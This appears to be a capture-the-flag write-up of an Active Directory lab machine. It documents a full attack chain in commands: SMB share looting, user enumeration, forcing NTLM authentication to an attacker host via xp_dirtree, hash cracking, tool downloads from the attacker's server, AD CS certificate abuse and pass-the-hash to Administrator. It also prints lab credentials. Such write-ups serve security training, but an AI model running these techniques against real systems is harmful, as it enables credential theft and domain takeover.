Overview

Escape is an Active Directory machine that demonstrates how exposed MSSQL functionality can be abused to capture credentials, leading to lateral movement and eventual domain compromise through Active Directory Certificate Services (AD CS) abuse.

Attack Chain

  • Enumerate services and identify MSSQL + SMB access
  • Access SMB share and discover SQL credentials
  • Enumerate domain users via SID lookup and Kerbrute
  • Abuse MSSQL xp_dirtree to capture NTLMv2 hash
  • Crack hash → obtain sql_svc credentials
  • Gain WinRM access as sql_svc
  • Extract credentials from SQL log files → ryan.cooper
  • BloodHound enumeration → identify AD CS misconfiguration
  • Abuse vulnerable certificate template → impersonate Administrator
  • Authenticate as Administrator → root

Enumeration

Port Scanning

We start with a full TCP port scan to identify exposed services.

export IP=10.129.228.253
export NAME=ESCAPE

nmap --min-rate 4500 -p- -Pn -n -oA scans/nmap_allports_$NAME $IP

ports=$(cat scans/nmap_allports_$NAME.nmap | grep '^[0-9]' | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//); echo $ports

nmap $IP -p$ports -Pn --disable-arp-ping -sC -sV -oA scans/nmap_initial_$NAME -v

nmap results nmap results

Findings

From the scan results, the host is part of an Active Directory environment, with the domain identified as sequel.htb through LDAP (389) and Kerberos (88).

Two key attack surfaces stand out: SMB (445) for share enumeration, and MSSQL (1433), which is often a valuable entry point for credential abuse.

To ensure proper name resolution during further testing, we add the domain locally.

echo "$IP sequel.htb" | sudo tee -a /etc/hosts

SMB Enumeration

Anonymous access reveals a readable share.

nxc smb $IP -u 'Guest' -p '' --shares

smb shares

Access the Public share and download the document

smbclient //$IP/Public --user=sequel.htb/Guest
get "SQL Server Procedures.pdf"

pdf download

Open the pdf

xdg-open "SQL Server Procedures.pdf"

Inside the PDF, we discover credentials:

pdf creds

PublicUser:GuestUserCantWrite1

User Enumeration

Before using the MSSQL credentials, we first enumerate additional domain users via SID lookup.

impacket-lookupsid sequel.htb/guest@$IP -no-pass

lookupsid

The output contains both system accounts and domain users. To make this usable, we save the raw output to a file and clean it up.

We extract only usernames using awk:

cat creds/users_raw.txt | grep -i user | awk '{print $2}' | awk -F\\ '{print $2}' > creds/users_potential.txt

users potential

Next, we validate these users with Kerbrute to identify valid domain accounts.

kerbrute userenum --domain sequel.htb --dc $IP creds/users_potential.txt > creds/users_verified_raw.txt

kerbrute

We copy and save the raw output to a file for further processing.

kerbrute output

Finally, we clean the output and format it into a usable user list:

cat creds/users_verified_raw.txt | awk '{print $7}' | awk -F@ '{print $1}' > creds/users.txt

users verified

And format it into a domain user list:

cat creds/users_verified_raw.txt | awk '{print $7}' | awk -F@ '{print $2"\\\\"$1}' > creds/domain_users.txt

domain users


Foothold

MSSQL Access

With valid credentials identified from the SMB share, we attempt to authenticate to the MSSQL service. Authentication succeeds without requiring Windows authentication, confirming that the credentials are valid for SQL access.

impacket-mssqlclient PublicUser@$IP

mssql login

NTLM Capture via xp_dirtree

MSSQL provides extended stored procedures that can interact with the filesystem. One such procedure, xp_dirtree, can be abused to force the server to authenticate to a remote share under our control.

We start Responder to capture incoming authentication attempts:

sudo responder -I tun0 -A

Next, we execute the xp_dirtree command from within the impacket-mssqlclient session to trigger authentication to our attacker-controlled SMB share.

EXEC msdb..xp_dirtree '\\10.10.14.176\share\'

This forces the SQL service account (sql_svc) to authenticate to our machine, allowing us to capture its NTLMv2 hash.

responder

Hash Cracking

We save the captured hash. saved hash

And attempt to crack it using hashcat:

hashcat -m 5600 creds/sql_svc_NTLMv2.hash /usr/share/wordlists/rockyou.txt --force

hahscat

The hash is successfully cracked, revealing the following credentials:

sql_svc:REGGIE1234ronnie

Initial Access

We validate the credentials and confirm WinRM access:

nxc smb $IP -u 'sql_svc' -p 'REGGIE1234ronnie'
nxc winrm $IP -u 'sql_svc' -p 'REGGIE1234ronnie'

netexec validate

With valid credentials confirmed, we establish an interactive shell:

evil-winrm -i $IP -u 'sql_svc' -p 'REGGIE1234ronnie'

This gives us our initial foothold on the system as the sql_svc user.

winrm sqlsvc


Lateral Movement

SQL Log Enumeration

After gaining access as sql_svc, we begin enumerating the system for sensitive files and credentials.

ls C:\SQLServer\Logs

sql logs

Within the logs directory, we find a backup log file. SQL Server logs often contain authentication attempts, errors, and sometimes plaintext credentials.

Inspect the log file:

type ERRORLOG.BAK

log creds 1

log creds 2

Reviewing the contents reveals credentials for another user:

ryan.cooper:NuclearMosquito3

New User Access

We test the discovered credentials and confirm access via WinRM:

nxc smb $IP -u 'Ryan.Cooper' -p 'NuclearMosquito3'
nxc winrm $IP -u 'Ryan.Cooper' -p 'NuclearMosquito3'

netexec validate

With valid access confirmed, we establish a new session:

evil-winrm -i $IP -u 'Ryan.Cooper' -p 'NuclearMosquito3'

lateral winrm

We can now retrieve the user flag:

type C:\Users\Ryan.Cooper\Desktop\user.txt

user flag


Privilege Escalation

AD Enumeration

To identify privilege escalation paths, we collect Active Directory data using SharpHound.

iwr -uri http://10.10.14.176/SharpHound.exe -o ./SharpHound.exe
.\SharpHound.exe -c ALL --zipfilename SEQUEL_RYAN

sharphound 1 sharphound 2

We transfer the collected data back to our attacking machine and import it into BloodHound.

sharphound collected

After marking our controlled users, we analyze paths to Domain Admin.

bloodhound 1

BloodHound reveals a potential path involving Active Directory Certificate Services (AD CS).

bloodhound 2

AD CS Enumeration

From our BloodHound analysis, we identified a potential attack path involving Active Directory Certificate Services (AD CS). To validate this, we need to enumerate the certificate infrastructure on the target.

We use Certify.exe (from GhostPack), a tool specifically designed to enumerate and abuse AD CS configurations.

Before transferring the binary, we first check which .NET version is installed on the target to ensure compatibility:

reg query "HKLM\SOFTWARE\Microsoft\Net Framework Setup\NDP" /s

From the output, we see that .NET version 4.7.03190 is installed. This tells us we need a compatible build of Certify.exe (in this case, targeting .NET 4.7.2).

We transfer the binary to the target

iwr -uri http://10.10.14.176/Certify.exe -o Certify.exe

Now we can begin enumerating the certificate infrastructure. First, we check if a Certificate Authority (CA) exists in the environment:

.\Certify.exe cas

certify ca 1 certify ca 2

The output confirms that a Certificate Authority is present, meaning certificate-based attacks may be possible if misconfigurations exist.

Vulnerable Template Discovery

The next step is to identify any misconfigured certificate templates that can be abused.

.\Certify.exe find /vulnerable

certify vuln 1 certify vuln 2

The output reveals a template that allows enrollment and, importantly, permits us to supply an arbitrary User Principal Name (UPN). This is a critical misconfiguration, as it allows a low-privileged user to request a certificate on behalf of another user.

In this case, we can request a certificate for the Administrator account.

Certificate Abuse

We abuse this misconfiguration using certipy to request a certificate for the Administrator user while authenticated as ryan.cooper.

certipy-ad req -u ryan.cooper@sequel.htb -p NuclearMosquito3 -upn administrator@sequel.htb -target $IP -ca sequel-dc-ca -template UserAuthentication

certipy req

This successfully issues us a certificate (administrator.pfx) tied to the Administrator account.

Before using the certificate, we need to sync our system time with the domain controller. Kerberos is time-sensitive, and if the clocks are too far apart, authentication can fail.

If you are using VirtualBox with Guest Additions, VBoxService may keep resetting the VM time. We stop it first so the manual time sync is not overwritten..

sudo systemctl stop vboxservice
sudo systemctl disable vboxservice
sudo pkill -f VBoxService

time sync 1

Now we sync our clock with the target:

sudo timedatectl set-ntp false
sudo ntpdate -s sequel.htb
date -u

time sync 2

With the time synced, we use the issued certificate to authenticate and retrieve the Administrator NTLM hash:

certipy-ad auth -pfx administrator.pfx -dc-ip $IP

certipy auth

After extracting the Administrator hash, we can restart the VBoxService so normal time synchronization resumes.

sudo /usr/sbin/VBoxService --foreground &

Administrator Access

Before jumping into a shell, we first verify that the credentials are valid.

nxc smb $IP -u 'administrator' -H 'a52f78e4c751e5f5e17e1e9f3e58f4ee'
nxc winrm $IP -u 'administrator' -H 'a52f78e4c751e5f5e17e1e9f3e58f4ee'

admin verify

With the credentials confirmed, we establish an interactive shell using evil-winrm:

evil-winrm -i $IP -u administrator -H 'a52f78e4c751e5f5e17e1e9f3e58f4ee'

admin shell

Root Flag:

type C:\Users\Administrator\Desktop\root.txt

root flag


Key Takeaways

Escape highlights how MSSQL misconfigurations can expose credential material, leading to lateral movement through log file analysis. The real impact comes from misconfigured AD CS templates, which allow low-privileged users to escalate directly to domain administrator. Even seemingly minor services like SQL logging and certificate enrollment can become critical attack vectors in Active Directory environments.